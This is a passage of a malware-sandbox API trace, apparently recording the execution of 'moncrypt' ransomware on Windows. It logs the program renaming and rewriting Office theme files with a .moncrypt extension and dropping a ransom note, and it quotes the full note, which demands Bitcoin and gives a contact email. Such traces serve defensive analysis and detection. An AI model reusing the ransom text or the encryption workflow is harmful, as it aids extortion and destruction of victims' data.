SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.821] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.823] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.823] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.823] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.823] GlobalUnlock (hMem=0x440004) returned 0 [0052.823] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.823] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.823] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.824] GlobalUnlock (hMem=0x440004) returned 0 [0052.824] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.824] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.824] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.824] GlobalUnlock (hMem=0x44000c) returned 0 [0052.824] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.843] GlobalUnlock (hMem=0x440004) returned 0 [0052.843] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.843] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.843] GlobalUnlock (hMem=0x440004) returned 0 [0052.843] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.843] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.843] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.843] GlobalUnlock (hMem=0x440004) returned 0 [0052.843] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.843] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.844] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.844] SetFilePointer (in: hFile=0x18c, lDistanceToMove=45838, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb30e [0052.844] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.844] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.844] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.864] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.864] CloseHandle (hObject=0x18c) returned 1 [0052.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.865] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.865] CloseHandle (hObject=0x18c) returned 1 [0052.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.866] GlobalUnlock (hMem=0x440004) returned 0 [0052.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.866] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.866] GlobalUnlock (hMem=0x440004) returned 0 [0052.866] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.866] GlobalUnlock (hMem=0x44000c) returned 0 [0052.866] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a3f0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.867] GetLastError () returned 0x2 [0052.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.869] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.878] CloseHandle (hObject=0x18c) returned 1 [0052.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0052.878] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.878] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.878] GlobalUnlock (hMem=0x44000c) returned 0 [0052.878] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.878] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.878] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.878] GlobalUnlock (hMem=0x44000c) returned 0 [0052.878] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.878] GlobalUnlock (hMem=0x440004) returned 0 [0052.878] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.879] CharLowerBuffW (in: lpsz="REFINED.INF", cchLength=0xb | out: lpsz="refined.inf") returned 0xb [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", lpUsedDefaultChar=0x0) returned 75 [0052.879] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\REFINED\\REFINED.INF", lpUsedDefaultChar=0x0) returned 4 [0052.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.880] GlobalUnlock (hMem=0x440004) returned 0 [0052.880] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.880] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.880] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.880] GlobalUnlock (hMem=0x440004) returned 0 [0052.880] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.880] GlobalUnlock (hMem=0x44000c) returned 0 [0052.880] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.880] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.880] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0052.881] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\REFINED\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0052.881] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.881] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.881] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.881] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.882] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.moncrypt")) returned 1 [0052.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x3d79 [0052.883] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.883] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x3d79, lpOverlapped=0x0) returned 1 [0052.891] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.892] GlobalLock (hMem=0x440004) returned 0x559b88 [0052.892] GlobalHandle (pMem=0x559b88) returned 0x440004 [0052.892] GlobalUnlock (hMem=0x440004) returned 0 [0052.892] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.892] GlobalLock (hMem=0x440004) returned 0x559b88 [0052.892] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.892] GlobalUnlock (hMem=0x44000c) returned 0 [0052.892] GlobalHandle (pMem=0x559b88) returned 0x440004 [0052.892] GlobalUnlock (hMem=0x440004) returned 0 [0052.892] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.892] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.892] GlobalUnlock (hMem=0x440004) returned 0 [0052.892] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.892] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.892] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.892] GlobalUnlock (hMem=0x440004) returned 0 [0052.905] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.905] CloseHandle (hObject=0x18c) returned 1 [0052.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.906] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.906] CloseHandle (hObject=0x18c) returned 1 [0052.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.907] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.907] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.907] GlobalUnlock (hMem=0x440004) returned 0 [0052.907] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.907] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.907] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.907] GlobalUnlock (hMem=0x440004) returned 0 [0052.907] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.907] GlobalUnlock (hMem=0x44000c) returned 0 [0052.907] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b2ab00, ftCreationTime.dwHighDateTime=0x1d5ddc0, 